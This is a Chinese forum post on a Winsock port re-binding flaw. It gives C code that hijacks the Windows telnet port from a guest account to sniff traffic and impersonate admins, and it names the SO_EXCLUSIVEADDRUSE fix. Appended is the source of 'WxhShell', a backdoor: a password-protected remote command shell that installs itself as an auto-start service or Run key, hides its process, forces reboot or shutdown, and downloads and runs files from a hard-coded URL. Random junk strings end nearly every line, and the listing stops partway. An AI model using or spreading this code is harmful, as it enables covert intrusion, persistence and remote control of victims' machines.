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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ug+io mZ  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); NiU2@zgl  
F.w 5S!5Q  
  saddr.sin_family = AF_INET; E0MGRI"me  
_nbBIaHN{  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); `C$:Yf]%nG  
f;1K5Y  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); @I_8T$N=  
=8; {\  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 aC%m-m  
uF1~FKB  
  这意味着什么?意味着可以进行如下的攻击: D"ND+*Q [X  
b\-&sM(W"  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 E ,|xJjh  
)6|yb65ZUX  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) rL+!tH  
rdJ d#S  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 XT@-$%u  
Gu2P\I2zx  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  & 8l%T'gd  
d5D$&5Ec  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 n&-qaoNl  
3b+d"`Y^S  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 9Hc$G{[a  
V`bi&1?6\  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 5A sP5  
,!7 H]4Qx  
  #include `"&d a#N]  
  #include h $L/<3oP6  
  #include pO ml8SQf  
  #include    %2XHNW  
  DWORD WINAPI ClientThread(LPVOID lpParam);   rld67'KcE  
  int main() `<\1[HJ\  
  { X&0 uI*r  
  WORD wVersionRequested; RV5n,J  
  DWORD ret; uWM{JEOl  
  WSADATA wsaData; \Dd-Xn_b  
  BOOL val; { T-'t/0e(  
  SOCKADDR_IN saddr; Gcig*5   
  SOCKADDR_IN scaddr; ~ ; -! n;  
  int err; N1|$$9G+  
  SOCKET s; ZE2$I^DY-  
  SOCKET sc; 0IfKJ*]M  
  int caddsize; XI22+@d6  
  HANDLE mt; IFDZfx  
  DWORD tid;   '+$EhFwD  
  wVersionRequested = MAKEWORD( 2, 2 ); }lfnnK#  
  err = WSAStartup( wVersionRequested, &wsaData ); mw='dFt  
  if ( err != 0 ) { /XhIx\40 l  
  printf("error!WSAStartup failed!\n"); =u+d_'P7-R  
  return -1; 2UFv9  
  } )e a:Q?  
  saddr.sin_family = AF_INET; 7D!u1?]d{  
   KN7n@$8YM  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 %oq[,h <X  
*X, /7C   
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); @ ]/AjjLt  
  saddr.sin_port = htons(23); A9kzq_ 3  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Fv Jd8kV  
  { Vv8jEZ8  
  printf("error!socket failed!\n"); V( -mD  
  return -1; *{y K 8  
  } {6~l$  
  val = TRUE; []A%<EI7  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 /k<WNZM  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) AiK  
  { jSwf*u  
  printf("error!setsockopt failed!\n");  \o/n  
  return -1; uU:CR>=AKW  
  } <oo  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; SL;9Q[  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 .]sf0S!  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 3Ei5pX=g  
86\S?=J-b  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) U)o$WH.b  
  { I;Bjfv5  
  ret=GetLastError(); UGuxV+Nwf  
  printf("error!bind failed!\n"); Fm # w2o  
  return -1; JM\m)RH0  
  } r%.do;5  
  listen(s,2); ])Qs{hs~s  
  while(1) |"9 #bU  
  { E[bd@[N 8  
  caddsize = sizeof(scaddr); !ykx^z  
  //接受连接请求 9$|Gfyv  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); vsr[ur[eP  
  if(sc!=INVALID_SOCKET) cg*)0U-_(  
  { m/qbRk68s  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); /Ne<V2AX  
  if(mt==NULL) W@Lu;g.Yc  
  { ?HV`| Cw  
  printf("Thread Creat Failed!\n"); !V,{_(LT  
  break; {FG|\nPw  
  } EoxQ */  
  } e&qh9mlE  
  CloseHandle(mt); kJ-*fe'S  
  } aBw2f[mo  
  closesocket(s); * C6a?]  
  WSACleanup(); rn=m\Gv e  
  return 0; sSQs#+ &=[  
  }   r,Nq7Txn?  
  DWORD WINAPI ClientThread(LPVOID lpParam) A%{W{UP8N  
  { LJ(1RK GCz  
  SOCKET ss = (SOCKET)lpParam; A^2Uzmzl?  
  SOCKET sc; &g~ wS@  
  unsigned char buf[4096]; 0#YX=vjX7  
  SOCKADDR_IN saddr; i6 (a@KRY  
  long num; j~e;DO  
  DWORD val; ]/B$br'O{?  
  DWORD ret; ~DsECnD  
  //如果是隐藏端口应用的话,可以在此处加一些判断 V]vc(rH  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   F`9ZH.  
  saddr.sin_family = AF_INET; jvV9eA:zl  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); zKsz*xv6b  
  saddr.sin_port = htons(23); v !FMs<  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) -~QHqU.  
  { 8-Hsgf.*  
  printf("error!socket failed!\n"); )"m!YuS Y  
  return -1; l $jxLZ  
  } m~D&gGFt  
  val = 100; nYt/U\n!  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) a /:@"&Y  
  { -p E(_  
  ret = GetLastError(); pOrWg@<\L  
  return -1; "/nNM{^  
  } !E-Pa5s  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3^Q]j^e4Ny  
  { ^+1#[E  
  ret = GetLastError(); j $TwL;  
  return -1; C>[fB|^  
  } A,) VM9M_l  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) >N?2""  
  { yx<WSgWZ[  
  printf("error!socket connect failed!\n"); Qo1eXMW  
  closesocket(sc); vYU;_R  
  closesocket(ss); VT.;:Q  
  return -1; TcGoSj<Z  
  } s9>(Jzcf9  
  while(1) 2*w:tT8+X  
  { ]l(wg]  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 5&e<#"  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 mnID3=JF  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 yj$TPe_BW  
  num = recv(ss,buf,4096,0); ,.o<no  
  if(num>0) U7DCx=B  
  send(sc,buf,num,0); DtEwW1J  
  else if(num==0) $L2%u8}8:  
  break; nxJee=qH  
  num = recv(sc,buf,4096,0); o8Z[+;  
  if(num>0) B=@ jWz"  
  send(ss,buf,num,0); bLnrbid  
  else if(num==0) `W-&0|%Ta  
  break; @YH+c G|  
  } gn{=%`[  
  closesocket(ss); @Kgl%[NmX  
  closesocket(sc); 7 lo|dg80  
  return 0 ; QERU5|.wc  
  } ,\aUq|~  
!gmH$1w  
B<~U3b  
========================================================== DS -fjH\  
0K-*WQ*#9  
下边附上一个代码,,WXhSHELL KHDZ  
8p!*?RRme[  
========================================================== Dr9 ?2  
0'r%,0  
#include "stdafx.h" OGrBUP  
K A276#  
#include <stdio.h> oiH|uIsqR  
#include <string.h> #DjCzz\  
#include <windows.h> /S\cU`ZVe  
#include <winsock2.h> JNFIT;L  
#include <winsvc.h> BvU"4d;x  
#include <urlmon.h> j2P n<0U  
7DfTfTU6  
#pragma comment (lib, "Ws2_32.lib") "W#t;;9Wz  
#pragma comment (lib, "urlmon.lib") pfd#N[c  
}N*>QR5K  
#define MAX_USER   100 // 最大客户端连接数 L@^~N$G&u  
#define BUF_SOCK   200 // sock buffer w~@-9<^K]v  
#define KEY_BUFF   255 // 输入 buffer (.Lrmf@hI7  
lZQ /W:OE  
#define REBOOT     0   // 重启 $oLU; q%  
#define SHUTDOWN   1   // 关机 pU!o7>p  
3[XQR8o  
#define DEF_PORT   5000 // 监听端口 h)v^q: ='  
Oc&),ru2l  
#define REG_LEN     16   // 注册表键长度 v[lnw} =m9  
#define SVC_LEN     80   // NT服务名长度 &-1./?  
K{l5m{:%  
// 从dll定义API S }>n1F_  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); cMzkL%  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); M/*NM= -a  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ^<0IB#dA  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); b%t+,0s|  
UHGcnz<  
// wxhshell配置信息 Y&2aO1  
struct WSCFG { ba@=^Fa;  
  int ws_port;         // 监听端口 I@l>w._.  
  char ws_passstr[REG_LEN]; // 口令 D0;tcm.$  
  int ws_autoins;       // 安装标记, 1=yes 0=no rQP"Y[  
  char ws_regname[REG_LEN]; // 注册表键名 U4Nh  
  char ws_svcname[REG_LEN]; // 服务名 AA:no=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 7);:ZpDv%L  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 *g;-H&`  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Be}$I_95\P  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 8#` 6M5  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" = c~I .  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 A{<xc[w;p  
=raA?Bp3;(  
}; 9B)(>~q  
y@wF_WX2  
// default Wxhshell configuration  .~}z4r  
struct WSCFG wscfg={DEF_PORT, -iCcoA  
    "xuhuanlingzhe", RH~3M0'0  
    1, r?l;I3~  
    "Wxhshell",  <1&Ke  
    "Wxhshell", <3hA!$o~  
            "WxhShell Service", K<v:-TjQZ:  
    "Wrsky Windows CmdShell Service", _N3}gFh>  
    "Please Input Your Password: ", 9YF$CXonE=  
  1, s T3p>8n  
  "http://www.wrsky.com/wxhshell.exe", #3kXmeyrD  
  "Wxhshell.exe" +ySY>`1k~  
    }; nE y]`  
tk/`%Q  
// 消息定义模块 Y~n` ~(  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; fn9#>~vrD  
char *msg_ws_prompt="\n\r? for help\n\r#>"; s%;<O:x8o  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; v&3O&y/1v  
char *msg_ws_ext="\n\rExit."; }iIbcA  
char *msg_ws_end="\n\rQuit."; `eRLc}aP2  
char *msg_ws_boot="\n\rReboot..."; g$j6n{Yl  
char *msg_ws_poff="\n\rShutdown..."; qvt-  
char *msg_ws_down="\n\rSave to "; /f1'm@8;  
*rqm8z50a  
char *msg_ws_err="\n\rErr!"; R#4 ^s  
char *msg_ws_ok="\n\rOK!"; FoPginZ]J  
J?P]EQU  
char ExeFile[MAX_PATH]; |t\|:E>" }  
int nUser = 0; uC~g#[I QM  
HANDLE handles[MAX_USER]; . 9 LL+d  
int OsIsNt; ke/_k/  
ew#T8F[  
SERVICE_STATUS       serviceStatus; ^Y^"'"  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; r3I,11B  
!W1eUY  
// 函数声明 Xy#V Q{!  
int Install(void); JZ`L%  
int Uninstall(void); N_C_O$j  
int DownloadFile(char *sURL, SOCKET wsh); <?$kI>Ot  
int Boot(int flag); gZ(O)uzv  
void HideProc(void); '=} Y2?(  
int GetOsVer(void); Ohl} X 1  
int Wxhshell(SOCKET wsl); NcL =z o<  
void TalkWithClient(void *cs); lVeH+"M?  
int CmdShell(SOCKET sock); ~SV Q;U)-  
int StartFromService(void); /aUFc'5  
int StartWxhshell(LPSTR lpCmdLine); Z|^MGyn  
*kaJ*Ti-/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %OI4a5V*l  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); BV9*s  
Xa`(;CLW?  
// 数据结构和表定义 xaXV ^ZM3  
SERVICE_TABLE_ENTRY DispatchTable[] = MWq$AK]  
{ Vdvx"s[`m  
{wscfg.ws_svcname, NTServiceMain}, D6!tVdnVe  
{NULL, NULL} jXEGSn  
}; I$N7pobh  
6tOi^+qN  
// 自我安装 '\*A"8;h  
int Install(void) k)E;(  
{ \; bW h  
  char svExeFile[MAX_PATH]; dE>v\0 3!8  
  HKEY key; r`]7S_t5T  
  strcpy(svExeFile,ExeFile); - s|t^  
~eo^`4O{{  
// 如果是win9x系统,修改注册表设为自启动 @ t@|q  
if(!OsIsNt) { ZBj6KqfST%  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Js}tZ\+P75  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0|2%#  E  
  RegCloseKey(key); J1-):3A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ?;8M^a/  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \o9@>&2  
  RegCloseKey(key); i=Kvz4h  
  return 0; u[t>Tg2R  
    } P,1exgq9  
  } o5#,\Y[ g  
} 9kd.j@C  
else { ChIoR:y>  
e<'U8|}hc{  
// 如果是NT以上系统,安装为系统服务 *?Wtj  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }'jV/  
if (schSCManager!=0) Kcn\g.  
{ Ck(.N  
  SC_HANDLE schService = CreateService v,\93mNp[  
  ( SY6r 8RK  
  schSCManager, |p'i,.(c_W  
  wscfg.ws_svcname, K%<GU1]-]  
  wscfg.ws_svcdisp, d2ofxfpg+  
  SERVICE_ALL_ACCESS, /:6Q.onmLn  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $f(agG]  
  SERVICE_AUTO_START, G4yUC<TqBP  
  SERVICE_ERROR_NORMAL, -ddOh<U>  
  svExeFile, s1@@o#r  
  NULL, ew"m!F#  
  NULL, B_@7IbB  
  NULL, -eYL*Pa  
  NULL, nE<J`Wo$f  
  NULL RQ5P}A 3H  
  ); c+;S<g 0  
  if (schService!=0) jmPp-} tS7  
  { S%V%!803!  
  CloseServiceHandle(schService); IuWX*b`v  
  CloseServiceHandle(schSCManager); ~mcZUiP9  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); H8"tbU  
  strcat(svExeFile,wscfg.ws_svcname); o@@w^##  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { vUfO4yfdg  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); F=5kF/}x-z  
  RegCloseKey(key); Ko-QR(  
  return 0; #,Bj!'Q'-  
    } q5gP~*?  
  } coO.kTO;  
  CloseServiceHandle(schSCManager); ULbP_y>(Y  
} ,A?v,Fs>O[  
} 7n>|D^  
Gavkil  
return 1; <|dj^.^  
} C!kbZTO[p"  
]h!*T{:  
// 自我卸载 ~6fRS2u  
int Uninstall(void) ,|QU] E @  
{ [R$liN99z;  
  HKEY key; s|p(KWo2U  
+ks$UvtY  
if(!OsIsNt) { 'w `d$c/p  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { L.Vq1RU\"  
  RegDeleteValue(key,wscfg.ws_regname); 6fQ*X~| p  
  RegCloseKey(key); PJ6$);9}6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { k#-[ M.i  
  RegDeleteValue(key,wscfg.ws_regname); p|;o5j{  
  RegCloseKey(key); =~;zVP   
  return 0; ep`/:iYW  
  } @s?oJpo  
} {!tOI  
} %$\}z( G  
else { fX$6;Ae  
7Fc |  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); wtUG^hV #_  
if (schSCManager!=0) QJ6f EV$~  
{ =/f74s t  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); MSF Nw  
  if (schService!=0) /^8t'Jjd,  
  { $$/S8LmmK  
  if(DeleteService(schService)!=0) { @>Biyb  
  CloseServiceHandle(schService); @]yQJuXA&Z  
  CloseServiceHandle(schSCManager); ?/^VOj4&  
  return 0; vkh;qPD  
  } Q)9369<A  
  CloseServiceHandle(schService); [y$j9  
  }  MbM :3  
  CloseServiceHandle(schSCManager); ),z,LU Yf  
} 2@4MC`&  
} bv_AJ4gS  
8Y]u:v  
return 1; mURX I'JkX  
} OHQ3+WJ  
~'|&{-<  
// 从指定url下载文件 bwT"$Ee  
int DownloadFile(char *sURL, SOCKET wsh) WoJ]@Me8  
{ kv[OW"8t  
  HRESULT hr; Psg +\14  
char seps[]= "/"; N/`g?B[  
char *token; ~V|KT}H  
char *file; 1. xw'i  
char myURL[MAX_PATH]; ~91uk3ST?  
char myFILE[MAX_PATH]; ;9 R40qi  
Rf&^th}TH  
strcpy(myURL,sURL); HL|0d }  
  token=strtok(myURL,seps); >hh"IfIZ4  
  while(token!=NULL) 9eksCxFg  
  { 7Ljs4>%l9j  
    file=token; chMt5L+5  
  token=strtok(NULL,seps); 69[w/\  
  } `z5v}T  
 #=>kw^5  
GetCurrentDirectory(MAX_PATH,myFILE); ye9QTK6$,  
strcat(myFILE, "\\"); Pau&4h0  
strcat(myFILE, file); VK"[=l  
  send(wsh,myFILE,strlen(myFILE),0); dVK@Fgo  
send(wsh,"...",3,0); zX006{vig  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Ebmqq#SHjX  
  if(hr==S_OK) InTKdr^ P  
return 0; 6S` ,j  
else R?i-"JhW  
return 1; bkJn}Al;  
=r=^bNO  
} hnlU,p&y3  
"Vs Nyy  
// 系统电源模块 |J @|  
int Boot(int flag) ]g>T9,)l  
{ qM+!f2t  
  HANDLE hToken; L+`}euu5  
  TOKEN_PRIVILEGES tkp; c'>8pd  
0^_)OsFA  
  if(OsIsNt) { ">v_uq a  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); C _ k_D  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); im_0ur&'  
    tkp.PrivilegeCount = 1; -uS7~Ww.a  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; e{d_p%(  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 9~*_(yjF  
if(flag==REBOOT) { r5<e}t-  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) rGP? E3  
  return 0; U* c{:K-C  
} jFK9?cLT  
else { uT@8 _9  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) xQcMQ{&;  
  return 0; !dYX2!lvT  
} p2M?pV  
  } ?3e!A9x  
  else { \Mh4X`<e  
if(flag==REBOOT) { _,Io(QS  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) t~udfOvY  
  return 0; qugPs(uQ  
} -b Ipmp?  
else { f^>lObvd  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) UwzE'#Q-  
  return 0; X_EC:GU  
} =[43y%   
} ahz@HX  
"fX8xZdS  
return 1; g@N=N  
} < '+R%6  
fM zAf3  
// win9x进程隐藏模块 P,LXZ  
void HideProc(void) I NFz X  
{ ph5xW<VNP  
{jCu9 ]c!  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); QvT-&|  
  if ( hKernel != NULL ) 0*'`%W+5  
  { KD<; ?oN<O  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )PanJHtU  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 8EVF<@{]  
    FreeLibrary(hKernel); }(hYG"5  
  } *=KexOa9  
'44nk(hM69  
return; tS*^}e*  
} cnjj) c  
t8wz'[z  
// 获取操作系统版本 -;DE&~p  
int GetOsVer(void) "|~B};|MFF  
{ EZa{C}NQ$2  
  OSVERSIONINFO winfo; QL|:(QM  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); E|6Z]6[  
  GetVersionEx(&winfo); kcZ;SYosj  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) :@z5& h  
  return 1; *X =f  
  else \?Oly171  
  return 0; 'KIi!pA.  
} ,nuDoc  
.\hib. n3  
// 客户端句柄模块 { <ao4w6B  
int Wxhshell(SOCKET wsl) "ZK5P&d  
{ VNh,pQ(  
  SOCKET wsh; [F9KC^%S  
  struct sockaddr_in client; N!4xP.Ps  
  DWORD myID; iTtAj~dfZ  
Aj)< 8  
  while(nUser<MAX_USER) }Rf :DmPE  
{ "Ee/q:`  
  int nSize=sizeof(client); c`N`x U+z  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ]$`s}BN  
  if(wsh==INVALID_SOCKET) return 1; {D_4~heF  
7l|>  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~QQ23k&  
if(handles[nUser]==0) 1rzq$,O  
  closesocket(wsh); \t~u : D  
else S0o,)`ZB  
  nUser++; \gk3w,B?E  
  } ]FnrbQ|  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5/eS1NJ@  
v!v0,?b*  
  return 0; B}xo|:f!zj  
} S.)8&  
7{/:,  
// 关闭 socket rF j)5~  
void CloseIt(SOCKET wsh) '<E8< bi  
{ Wx\"wlJ7.3  
closesocket(wsh); x /Ky: Ky  
nUser--; G cLp"  
ExitThread(0); NByN}e  
} g)G7 kB/<p  
SO jDtZ  
// 客户端请求句柄 HjY-b*B  
void TalkWithClient(void *cs) 7g<`w LAH  
{ {XUfxNDf  
J?=Ob?+ _  
  SOCKET wsh=(SOCKET)cs; pQ2)M8 gf  
  char pwd[SVC_LEN]; b42pLbpe'E  
  char cmd[KEY_BUFF]; K]]r OF  
char chr[1]; ~!+h"%'t  
int i,j; 'C?f"P:X{  
01d26`G$i~  
  while (nUser < MAX_USER) { `?|]:7'<  
M6d w~0e  
if(wscfg.ws_passstr) { o>,z %+  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {<{G 1y~  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J'4@-IM  
  //ZeroMemory(pwd,KEY_BUFF); #dm@%~B{.  
      i=0; _q 9lr8hx  
  while(i<SVC_LEN) { QNI|h;D  
hO@v\@;r  
  // 设置超时 wyhf:!-I  
  fd_set FdRead; S2GBX1  
  struct timeval TimeOut; ?g*T3S"  
  FD_ZERO(&FdRead); HyYQQ  
  FD_SET(wsh,&FdRead); 4uVmhjT:X  
  TimeOut.tv_sec=8; jW0z|jr  
  TimeOut.tv_usec=0; =}o>_+"  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); \ A UtGP  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); c\rbLr}l)  
5pyvs;As  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _"Ke=v_5  
  pwd=chr[0]; XI(@O)  
  if(chr[0]==0xd || chr[0]==0xa) { =gv/9ce)3  
  pwd=0; cj_?*  
  break; *A9{H>Vq  
  } +Y^F>/4=Y  
  i++; ^znv[  
    } [(UqPd$  
k{w^MOHNg  
  // 如果是非法用户,关闭 socket )Is*- W  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); |g^W @.P  
} ovoI~k'  
eii7pbc  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); m%(JRh  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); `A{~}6jw  
;p"XCLHl  
while(1) { 9i)mv/i  
<ORz`^27o  
  ZeroMemory(cmd,KEY_BUFF); =F-^RnO%\  
Ln%_8yth  
      // 自动支持客户端 telnet标准   10a*7 L  
  j=0; @Lv_\^2/}  
  while(j<KEY_BUFF) { j1CD;9i)%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {O oNhN9  
  cmd[j]=chr[0]; toZI.cSg4  
  if(chr[0]==0xa || chr[0]==0xd) { M<m64{m1  
  cmd[j]=0; F+9`G[  
  break; [bVP2j  
  } 0P/LW|16  
  j++; ? bg pUv  
    } T.dO0$,Q@$  
ojqX#>0K  
  // 下载文件 #zD+DBTAu  
  if(strstr(cmd,"http://")) { rbS= Ewk  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); !D5`8   
  if(DownloadFile(cmd,wsh)) Elk$9 < <  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); &WU*cfJn)A  
  else gUtbCqDS  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &t:MWb;  
  } IHmNi>E&/  
  else { "?.Wb L  
5|t&qUV  
    switch(cmd[0]) { m D q,,  
  p6\9H G  
  // 帮助 li XD2N  
  case '?': { *,*5sV  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Y }d>%i+  
    break; ,$[lOFs  
  } >2a#|_-T  
  // 安装 !K)|e4$  
  case 'i': { /VZU3p<~  
    if(Install()) g<c^\WG  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2 g==98>cg  
    else 3yX^R^`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <Y6>L};  
    break; \Rt  
    } 41D[[Gh  
  // 卸载 nu -wQr  
  case 'r': { HJrg  
    if(Uninstall()) Om{ML,d  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CI{TgL:l  
    else <7Lz<{jaJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b#^D8_9h  
    break; `<Nc Y*  
    } x;aZ&  
  // 显示 wxhshell 所在路径 3Ab$  
  case 'p': { e]fC!>w(\  
    char svExeFile[MAX_PATH]; 1'B?f# s  
    strcpy(svExeFile,"\n\r"); 4"=pcHNV  
      strcat(svExeFile,ExeFile); I2Q?7p  
        send(wsh,svExeFile,strlen(svExeFile),0); zwHsdB=v  
    break; g8y Zc}4  
    } \MPy"uC  
  // 重启 Ms3/P|{"p  
  case 'b': { T^>cT"ux_  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); gI{F"7fa=  
    if(Boot(REBOOT)) /UAj]U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^jA^~h3(W  
    else { PxY"{-iAM  
    closesocket(wsh); z [{%.kA  
    ExitThread(0); @@&;gWr;  
    } $6Psq=|  
    break; i:To8kdO  
    } `Y9@?s Q  
  // 关机 D=]P9XDvb.  
  case 'd': { Wc[)mYOSuO  
